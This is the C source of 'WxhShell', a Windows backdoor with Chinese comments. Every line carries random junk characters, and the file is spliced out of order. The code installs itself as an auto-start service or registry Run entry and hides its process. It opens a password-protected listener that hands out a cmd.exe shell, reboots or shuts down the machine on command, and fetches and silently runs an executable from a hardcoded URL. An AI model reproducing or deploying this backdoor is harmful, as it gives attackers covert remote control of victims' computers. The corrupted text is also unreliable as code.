  // 关机 3z)"U  
  case 'd': { LxlbD#<V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7~"(+f  
    if(Boot(SHUTDOWN)) J+b!6t}mZn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /3Nb  
    else { Pc)VK>.fc  
    closesocket(wsh); U2V^T'Y[  
    ExitThread(0); g[s\~MF@s  
    } Z-SwJtWk  
    break; 3`k[!!   
    } W 9Vz[  
  // 获取shell *el(+ib%  
  case 's': { yYToiW *  
    CmdShell(wsh); n<?SZ^X{,/  
    closesocket(wsh); T+WZE  
    ExitThread(0); 5BHOHw D{  
    break; dGsS<@G  
  } 3X$Q,  
  // 退出 iog # ,  
  case 'x': { 8jggc#.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5, -pBep<  
    CloseIt(wsh); wI! +L&Q  
    break; t0e{| du  
    } M_h8#7{G  
  // 离开 IAP/G5'Q  
  case 'q': { e)HhnN@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1iJ0Hut}d  
    closesocket(wsh); ]Y4q'KH  
    WSACleanup(); > X[|c"l.  
    exit(1); )d}H>Qx=  
    break; ut4r~~Ar  
        } v._Egk0  
  } %9T~8L @.  
  } SbS$(Gt#Bv  
u3Usq=Ij{  
  // 提示信息 - J"qrpZ^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QSHJmk 6L  
} V)0[`zJ  
  } s]y-pZ  
t/KcXM  
  return; Ak5[PBbW  
} d&[iEU  
AozmO  
// shell模块句柄 eC6>yD6D  
int CmdShell(SOCKET sock) -(\1r2 Y  
{ K`Bq(z?/  
STARTUPINFO si; nTys4 R  
ZeroMemory(&si,sizeof(si)); 3s`V)aXP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Kc|C~g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j?:`-\w5  
PROCESS_INFORMATION ProcessInfo; ?}'N_n ys  
char cmdline[]="cmd"; J?UA:u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W/ g|{t[  
  return 0; e9CP802#2  
} ^W Y8-6  
`FA) om  
// 自身启动模式 qDnCn H  
int StartFromService(void) nnt8 sf@\  
{ i`[#W(m  
typedef struct 5vD3K! \u  
{ J| SwQE~  
  DWORD ExitStatus; 6exI_3A4jh  
  DWORD PebBaseAddress; YBX)eWslK  
  DWORD AffinityMask; (U|)xA]y!  
  DWORD BasePriority; XC|*A$x,  
  ULONG UniqueProcessId; )v%l0_z{  
  ULONG InheritedFromUniqueProcessId; F:M>z=  
}   PROCESS_BASIC_INFORMATION; 6xH;: B)d  
X=v~^8M7%  
PROCNTQSIP NtQueryInformationProcess; 5>k>L*5J  
fL!V$]HNt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?gLR<d_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [IiwNqZ[~  
9s! 2 wwh  
  HANDLE             hProcess; /~40rXH2C  
  PROCESS_BASIC_INFORMATION pbi; Hm>-LOCcl  
t]s94 R q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JOBz{;:R{  
  if(NULL == hInst ) return 0; r5o@+"!  
Iq{o-nq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -=>sTMWpr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hx$.9'Oq\Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0 _Q * E3  
JXH",""bq  
  if (!NtQueryInformationProcess) return 0; glv ;C/l  
}@d>,1DU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pe|X@o  
  if(!hProcess) return 0; 'gCJ[ce  
gs?8Wzh90*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :'Zx{F`  
3 m6$YWO  
  CloseHandle(hProcess); c$9sF@K?  
R7lYu\mA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WFouoXlG0  
if(hProcess==NULL) return 0; Te# ]Cn|  
PPEq6}  
HMODULE hMod; $=/rGpAk  
char procName[255]; Qh*)pt]n  
unsigned long cbNeeded; lbRzx4=\y  
{$;2 HbM(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @B?FE\  
_ w/_(k  
  CloseHandle(hProcess); tl|ijR  
.}o~VT:!?Y  
if(strstr(procName,"services")) return 1; // 以服务启动  Nj+a2[  
;_}~%-_ ~  
  return 0; // 注册表启动 -$. 0Dc)3!  
} AcKU^T+  
iC\%_5/ _  
// 主模块 H nK!aa  
int StartWxhshell(LPSTR lpCmdLine) mjbTy"}"  
{ ` M:DZNy,  
  SOCKET wsl; 80C(H!^  
BOOL val=TRUE; kVd5,Qd  
  int port=0; 0Z"s_r}h  
  struct sockaddr_in door; jgG$'|s}  
u^t$ cLIZ  
  if(wscfg.ws_autoins) Install(); c&E]E(  
D&/I1=\(  
port=atoi(lpCmdLine); p!_[qs  
tAERbiH  
if(port<=0) port=wscfg.ws_port; '3^Q14`R  
ioxbf6{  
  WSADATA data; ,]ga[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =NadAyv  
?-f,8Z|h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /,!<Va;~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q^L) Vp"  
  door.sin_family = AF_INET; 3f"C!l]Xu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); + ~ "5!  
  door.sin_port = htons(port); H(b)aw^(%  
jXixVNw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e?b)p5g  
closesocket(wsl); 5Q W}nRCZ  
return 1; >p0KFU  
} t8P PE  
_g~2R#2Q  
  if(listen(wsl,2) == INVALID_SOCKET) { :|rPT)yT]  
closesocket(wsl); )n>+m|IqY(  
return 1; YlTaN,?j  
} c;9.KCpwx  
  Wxhshell(wsl); 4ZwKpQ6  
  WSACleanup(); *$S#o#5  
^*0'\/N&  
return 0; <`)iA-Df;9  
L_Q S0_1  
} {L].T#  
BgM%+b8u  
// 以NT服务方式启动 -}P7$|O &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]W/>Ldv  
{ 9gy(IRGq/  
DWORD   status = 0; zyFUl%  
  DWORD   specificError = 0xfffffff; L0L2Ns  
M/pMs 6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0mTr-`s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xR?V,uV'$&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]n;1x1'  
  serviceStatus.dwWin32ExitCode     = 0; &l m#  
  serviceStatus.dwServiceSpecificExitCode = 0; )"| ||\Iv  
  serviceStatus.dwCheckPoint       = 0; 2 o4^  
  serviceStatus.dwWaitHint       = 0; "u492^  
d$G}iJ8$mp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1y(UgEg   
  if (hServiceStatusHandle==0) return; \F{:5,Du)  
:5b0np!  
status = GetLastError(); ~E)fpGJ  
  if (status!=NO_ERROR) WF[bO7:  
{ F'FP0t!S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O6X"RsI}  
    serviceStatus.dwCheckPoint       = 0; C h19h8M  
    serviceStatus.dwWaitHint       = 0; 1& ^?U{  
    serviceStatus.dwWin32ExitCode     = status; +.kfU)6@  
    serviceStatus.dwServiceSpecificExitCode = specificError;  U>a\j2I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 ipN8Pg+  
    return; Hr^3`@}#1  
  } g9~]s 9  
pDl3!m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |gx ~ gG<  
  serviceStatus.dwCheckPoint       = 0; TB!(('  
  serviceStatus.dwWaitHint       = 0; w!&~??&=}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QI_4*  
} ) #+^ sAO  
]PR#W_&q  
// 处理NT服务事件,比如:启动、停止 vUesV%9hq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _las;S'oa  
{ ~b)74M/  
switch(fdwControl) Zsx3/}  
{ ,R2U`EO;  
case SERVICE_CONTROL_STOP: LT VF8-v  
  serviceStatus.dwWin32ExitCode = 0; "N5!mpD"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mbxbEqz  
  serviceStatus.dwCheckPoint   = 0; }D;WN@],  
  serviceStatus.dwWaitHint     = 0; (V?:]  
  { z~{&}Em ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ypdT&5Mqb!  
  } m@Rtlb  
  return; Ba'LRz  
case SERVICE_CONTROL_PAUSE: Bd~1P/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3\:y8|  
  break; Vsnuy8~k  
case SERVICE_CONTROL_CONTINUE: Qk976  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }H"kU2l  
  break; eE@&ze>X  
case SERVICE_CONTROL_INTERROGATE: }4//@J?:  
  break; g(|{')8?d  
}; T~4N+fK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qk1xUE  
} hA1-){aw3q  
.(CP. d  
// 标准应用程序主函数 /i]y$^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,9D+brm  
{ _O"mfXl6  
ep/Y^&$M  
// 获取操作系统版本 5jxQW ;  
OsIsNt=GetOsVer(); ZJ*g)) k7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '#/G,%m<!i  
kgi>} %  
  // 从命令行安装 [U/(<?F{(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3?n>yS  
oXXC@[??}N  
  // 下载执行文件 2*iIjw3g  
if(wscfg.ws_downexe) { $*R/tJ.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {0"YOS`3AX  
  WinExec(wscfg.ws_filenam,SW_HIDE); *%/~mSx  
} ({WyDu&=  
A:l@_*C..  
if(!OsIsNt) { H<EQu|f&x  
// 如果时win9x,隐藏进程并且设置为注册表启动 k%]=!5F  
HideProc(); P [Uy  
StartWxhshell(lpCmdLine); 9ZXlR?GA  
} uocHa5J  
else }a AH  
  if(StartFromService()) ig}A9j?]  
  // 以服务方式启动 \p{5D`HY  
  StartServiceCtrlDispatcher(DispatchTable); e]=lKxFh&l  
else e [_m< e  
  // 普通方式启动 qMt++*Ls  
  StartWxhshell(lpCmdLine); R:Q0=PzDi#  
L2Pujk  
return 0; uvP2Wgt  
} 6(d}W2GP  
Rp7ntI:  
rE9I>|tX  
G6@M&u5RT  
=========================================== =L;] ;i  
I`KQ|h0%  
w }^ I  
kHw_ S-  
r$Co0!.  
n_ lo`  
" QTX8 L  
w@JKl5  
#include <stdio.h> 8{`?= &%6  
#include <string.h> 1$qh`<\  
#include <windows.h> ,1OyN]f3  
#include <winsock2.h> c:Wze*vI ;  
#include <winsvc.h> s*U1  
#include <urlmon.h> $un?0S  
EnOU?D  
#pragma comment (lib, "Ws2_32.lib") e@:sR  
#pragma comment (lib, "urlmon.lib") _4^R9Bt  
>SPh2[f  
#define MAX_USER   100 // 最大客户端连接数 nWQ;9_qBB  
#define BUF_SOCK   200 // sock buffer !*6CWV0  
#define KEY_BUFF   255 // 输入 buffer `;%]'F0`  
sVG(N.y  
#define REBOOT     0   // 重启 ?T+q/lt4  
#define SHUTDOWN   1   // 关机 ZaNQpH.  
U- )i+}Ng  
#define DEF_PORT   5000 // 监听端口 J{^RkGF  
E4 m`  
#define REG_LEN     16   // 注册表键长度 ,|&9M^  
#define SVC_LEN     80   // NT服务名长度 ( =~&+z  
Xd^\@  
// 从dll定义API P ;IrBq6|o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y WV#Up  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AL>$HB$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jgnhn>dHe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o sKKt?^?  
a!O0,y  
// wxhshell配置信息 Q0EiEX)  
struct WSCFG { ~ vqa7~}m  
  int ws_port;         // 监听端口 )iFJz/n>  
  char ws_passstr[REG_LEN]; // 口令 /cU<hApK  
  int ws_autoins;       // 安装标记, 1=yes 0=no Um&(&?Xf  
  char ws_regname[REG_LEN]; // 注册表键名 J9~ g|5  
  char ws_svcname[REG_LEN]; // 服务名 Yw#2uh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tHzZ@72B7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pAT7)Ch  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f bUr`~Y"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7jdb)l\p=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q$=#A7H>3)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (<^yqH?  
w*R$o  
}; 8By|@LO  
eq U ME  
// default Wxhshell configuration h: 9Zt0,  
struct WSCFG wscfg={DEF_PORT, #8)*1?  
    "xuhuanlingzhe", ;Iq/l%vX  
    1, l+V>]?j  
    "Wxhshell", ~6p[El#tS  
    "Wxhshell", J H7<  
            "WxhShell Service", &RfC"lc  
    "Wrsky Windows CmdShell Service", ocs+d\  
    "Please Input Your Password: ", e=.]F*:J  
  1, ght$9>'n  
  "http://www.wrsky.com/wxhshell.exe", T?X_c"{8M  
  "Wxhshell.exe" R=jI?p  
    }; x&0vKo;  
S\;V4@<Kn  
// 消息定义模块 M3q|l7|9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x)@G;nZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hro-d 1J7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Dd\jHF>u  
char *msg_ws_ext="\n\rExit."; R rda# h^  
char *msg_ws_end="\n\rQuit."; rW=Z>1  
char *msg_ws_boot="\n\rReboot..."; AJ=qna  
char *msg_ws_poff="\n\rShutdown..."; I1X-s  
char *msg_ws_down="\n\rSave to "; EKO[!,  
AB4(+S*LA  
char *msg_ws_err="\n\rErr!"; :8OZ#D_Hl  
char *msg_ws_ok="\n\rOK!"; M]J ^N#  
O&Y*pOg  
char ExeFile[MAX_PATH]; pej|!oX  
int nUser = 0; 4T ~}  
HANDLE handles[MAX_USER]; 62zYRs\Y)X  
int OsIsNt; 1u:< 25  
=|Y,+/R?  
SERVICE_STATUS       serviceStatus; }"|K(hq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; , 'u W*kx  
h D/*h*}T>  
// 函数声明 BBev<  
int Install(void); T \_ ]^]>  
int Uninstall(void); 7Ve1]) u  
int DownloadFile(char *sURL, SOCKET wsh); a*&B`77`|  
int Boot(int flag); JT!9\i  
void HideProc(void); sr{a(4*\  
int GetOsVer(void); 6}!#;@D~  
int Wxhshell(SOCKET wsl); Eq j_m|@  
void TalkWithClient(void *cs); rogT~G}q  
int CmdShell(SOCKET sock); H*r)Z 90  
int StartFromService(void); 4GX-ma,  
int StartWxhshell(LPSTR lpCmdLine);  B\o Mn  
C)`Fv=]R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 85LAY aw  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  z62;cv  
j3{D^|0bP  
// 数据结构和表定义 yjF1}SQ  
SERVICE_TABLE_ENTRY DispatchTable[] = 7Mg=b%IYs  
{ ci?qT,&  
{wscfg.ws_svcname, NTServiceMain}, 0|{u{w@!`  
{NULL, NULL}  @fl-3q  
}; ~ Q.7VDz  
bAx-"Lu  
// 自我安装 SMpH._VFeE  
int Install(void) zo4qG+>o  
{ Y!nJg1  
  char svExeFile[MAX_PATH]; 3`t%g[D1  
  HKEY key;  PoxK{Y  
  strcpy(svExeFile,ExeFile); ^rifRY-,yO  
xe^Gs]fm  
// 如果是win9x系统,修改注册表设为自启动 6G[4rD&  
if(!OsIsNt) { *GL/aEI<$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~T1 XLu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M`,)wi  
  RegCloseKey(key); OC BgR4I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JzQ)jdvp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +%ee8|\  
  RegCloseKey(key); |#]@Z)xa  
  return 0; X:vghOt?  
    } w5Y04J  
  } P\1L7%*lU  
} nU7>uU  
else { v>Q #B  
\1D<!k\S  
// 如果是NT以上系统,安装为系统服务 RO 4Z?tz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _({hc+9p  
if (schSCManager!=0) >n'o*gZM  
{ 1H6<[iHW  
  SC_HANDLE schService = CreateService "@iK' c^  
  ( :bwjJ}F  
  schSCManager, pKpUXfQu  
  wscfg.ws_svcname, X-K=!pET  
  wscfg.ws_svcdisp, w n/_}]T  
  SERVICE_ALL_ACCESS, L~lxXTG\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >\KNM@'KI  
  SERVICE_AUTO_START, /_I]H  
  SERVICE_ERROR_NORMAL, UQ?XqgUM  
  svExeFile, Ya3C#=  
  NULL, F8jd'OR  
  NULL, -p]1=@A<}  
  NULL, $w2u3 -  
  NULL, |}BL F  
  NULL \Q0[?k  
  ); 2mVD_ s[`  
  if (schService!=0) |H;F7Y_  
  { Qz5sxi  
  CloseServiceHandle(schService); ZX9TYN  
  CloseServiceHandle(schSCManager); J;.wXS_U8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4|riKo)  
  strcat(svExeFile,wscfg.ws_svcname); E8$20Ue  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /Z'L^ L%R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "{@A5A  
  RegCloseKey(key); 9K{%vK  
  return 0; 47+&L   
    } JtYP E?  
  } IzikDc10  
  CloseServiceHandle(schSCManager); )dbB =OZ  
} ;oW6 NJ  
} mF*2#]%dx  
0D\#Pq v  
return 1; }X)&zenz  
} ,':fu  
 P5a4ze  
// 自我卸载 xS4w5i2  
int Uninstall(void) 8m2Tk\;:  
{ *|%@6I(  
  HKEY key; =,spvy'"*C  
nAW:utTB  
if(!OsIsNt) { Ugu[|,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l{I6&^!KS  
  RegDeleteValue(key,wscfg.ws_regname); ($au:'kU  
  RegCloseKey(key); x$5) ^ud?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UO0{):w>  
  RegDeleteValue(key,wscfg.ws_regname); iU$] {c2;A  
  RegCloseKey(key); {.?ZHy\Rk  
  return 0; LClNxm2X  
  } cv998*|X:  
} Ktb\ bw  
} >`Y.+4 mE  
else { 5D\f8L  
?pr9f5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IUE~_7  
if (schSCManager!=0) j9eTCJqB  
{ -+(jq>t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [#-b8Cu  
  if (schService!=0) @L<*9sLWh  
  { 7Ri46Tkt  
  if(DeleteService(schService)!=0) { v- T$:cL  
  CloseServiceHandle(schService); ;X?}x%$  
  CloseServiceHandle(schSCManager); 1O/+8yw  
  return 0; R;s?$;I  
  } l~c@^!  
  CloseServiceHandle(schService); ")O%86_Q:  
  } [Y|8\Ph`&  
  CloseServiceHandle(schSCManager); ~ELNyI11  
} 2`7==?  
} UW N*j_9i  
PDJr<E?  
return 1; E7t+E)=8  
} H$=e -L`@  
QLXN*c  
// 从指定url下载文件 4 !i$4  
int DownloadFile(char *sURL, SOCKET wsh) u$DHVRrF<  
{ Wvbf"hq  
  HRESULT hr; kpJ@M%46  
char seps[]= "/"; UtPLI al  
char *token; EN$2,qf  
char *file; K-bD<X  
char myURL[MAX_PATH]; *W.C7=  
char myFILE[MAX_PATH]; <;vbsksZeH  
f,h J~  
strcpy(myURL,sURL); h].<t&  
  token=strtok(myURL,seps); "$#xK|t  
  while(token!=NULL) ;YA(|h<  
  { pWy=W&0~qf  
    file=token; E(O74/2c8  
  token=strtok(NULL,seps);  f\]sz?KY  
  } _,p/l&<  
$+P>~X)  
GetCurrentDirectory(MAX_PATH,myFILE); ?oVx2LdD|  
strcat(myFILE, "\\"); M2 ,YsHt  
strcat(myFILE, file); %-)H^i~]%  
  send(wsh,myFILE,strlen(myFILE),0); )2Wi `ZT  
send(wsh,"...",3,0); AJh w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1n=lqn/  
  if(hr==S_OK) &~8oQC-eF  
return 0; N >FKy'.gk  
else !TAlB kj  
return 1; <v)1<*I  
[b 6R%  
} 1pt%Kw*@j  
_wTOmz%|R  
// 系统电源模块 (KFCs^x7wG  
int Boot(int flag) \n$u)Xj~6^  
{ \]</w5 Pi,  
  HANDLE hToken; I KqQ>Z-q~  
  TOKEN_PRIVILEGES tkp; S)cLW~=z  
$w)!3c4  
  if(OsIsNt) { J2::'Hw*s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v4u5yy_;(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u?4:H=;>  
    tkp.PrivilegeCount = 1; d:#yEC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _2h S";K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ti5mIW\  
if(flag==REBOOT) { GC>e26\:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2Z-ljD&  
  return 0; !Y$h"<M  
} O~T@rX9f  
else { _Tf4WFu2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /M|2 62%  
  return 0; k jg~n9#T  
} 48:>NW  
  } xDG2ws=@D  
  else { + fC=UAZ  
if(flag==REBOOT) { @LS@cCC,a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rX4j*u2u  
  return 0; mkYqpD7  
} tQ8.f  
else { 695V3R 7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]"t@-PFX<  
  return 0; fa++MNf}3  
} Ir {OheJ  
} 1$D_6U:H0  
+b.g$CRr  
return 1; .LZwuJ^;  
} ).Fpgxs  
ySx>L uY#3  
// win9x进程隐藏模块 |%J{RA  
void HideProc(void) -7*ET3NSI/  
{ v/](yT  
[Yo,*,y31  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :e_V7t)o  
  if ( hKernel != NULL ) d@ i}-;  
  { ?\vh9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'm4W}F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hw7;;HK 7  
    FreeLibrary(hKernel); B P2=2)Q  
  } Ka[t75~;  
QIB\AAclO  
return; uehDIl0\[b  
} I/&%]"[^u  
E8pB;\Z(  
// 获取操作系统版本 Gcdd3W`O  
int GetOsVer(void) "/3 db[  
{ v K9E   
  OSVERSIONINFO winfo; ] Bcp;D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ePr&!Tz#  
  GetVersionEx(&winfo); GO__$%~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 55tKTpV  
  return 1; { vKLAxc  
  else ex::m&  
  return 0; ]b\yg2  
} q?4p)@#   
-n=^U  
// 客户端句柄模块 %e-7ubW  
int Wxhshell(SOCKET wsl) zb k q   
{ ^5H >pat  
  SOCKET wsh; <g1hxfKx5  
  struct sockaddr_in client; <R''oEf9  
  DWORD myID; F$ #U5}Q  
lwrC pD .  
  while(nUser<MAX_USER) X;i~ <Tq  
{ EH256f(&  
  int nSize=sizeof(client); UmKI1l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iH/6M  
  if(wsh==INVALID_SOCKET) return 1; d{SG Cr 9d  
Jth[DUH8H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n@C[@?D  
if(handles[nUser]==0) pimtiQqC  
  closesocket(wsh); AyNI$Q6Z  
else U^Q:Y}^  
  nUser++; "t (p&;d  
  } znxnL,-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #:[t^}  
>33=<~#n  
  return 0; |$vX<. S  
} {[+mpKq  
vhpNpgz  
// 关闭 socket Kla'lCZ  
void CloseIt(SOCKET wsh) $6mX  
{ ~io szX  
closesocket(wsh); 43mP]*=A  
nUser--; te3}d'9&|  
ExitThread(0); y9x w 9l'  
} (-ufBYO6  
F<qz[,]|-j  
// 客户端请求句柄 %k;|\%B`  
void TalkWithClient(void *cs) (Tn- >).AO  
{ do*EKo  
wN;^[F  
  SOCKET wsh=(SOCKET)cs; N'^&\@)xiU  
  char pwd[SVC_LEN]; M}yDXJx  
  char cmd[KEY_BUFF]; r[4tPk  
char chr[1]; =p*]Az  
int i,j; AS =?@2 q  
^>jwh  
  while (nUser < MAX_USER) { Xc?&_\. +  
.?R!DYC`  
if(wscfg.ws_passstr) { 9aze>nxh.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jz qyk^X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q35f&O;  
  //ZeroMemory(pwd,KEY_BUFF); 7]blrN]  
      i=0; 4)A#2  
  while(i<SVC_LEN) { , Wk?I%>  
/J=v]<87a  
  // 设置超时 RxI(:i?  
  fd_set FdRead; v^#~98g]  
  struct timeval TimeOut; j`~Ms>  
  FD_ZERO(&FdRead); kQEy#JQmB  
  FD_SET(wsh,&FdRead); KwPOO{4]g  
  TimeOut.tv_sec=8; B"!l2  
  TimeOut.tv_usec=0; a-=8xs'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^pQCNKLBY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @\f^0^G  
S/9DtXQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,n3a gkPO>  
  pwd=chr[0]; 9%B\/&f  
  if(chr[0]==0xd || chr[0]==0xa) { Dey<OE&  
  pwd=0; G+X Sfr  
  break; xlA$:M&  
  } vUohtS*  
  i++; 3Nq N \5B:  
    } dwDcR,z?a  
u*Pibgd<  
  // 如果是非法用户,关闭 socket J|~MC7#@q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ? }kG`q  
} hRUhX[  
YVHm{A1b0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FB{KH .  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -OapVac  
;#vKi0V7  
while(1) { @~YYD#'vNY  
\$*7 >`k  
  ZeroMemory(cmd,KEY_BUFF); ]x(e&fyHB  
 |8My42yf  
      // 自动支持客户端 telnet标准   u~WVGjoQ  
  j=0; EfCx`3~EX  
  while(j<KEY_BUFF) { Hn5|B 3vN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @d mV  
  cmd[j]=chr[0]; Exc9` 7%.  
  if(chr[0]==0xa || chr[0]==0xd) { va}Pj#=  
  cmd[j]=0; r76J N  
  break; @ycDCB(D}  
  } t!r A%*  
  j++; ihIVUu-M  
    } \=:~ki=@B  
)qo {c1X  
  // 下载文件 d@XV:ae  
  if(strstr(cmd,"http://")) { +n{#V;J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gcdlT7F)b-  
  if(DownloadFile(cmd,wsh)) E5I"%9X0H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 "20hAd  
  else o<COm9)i  
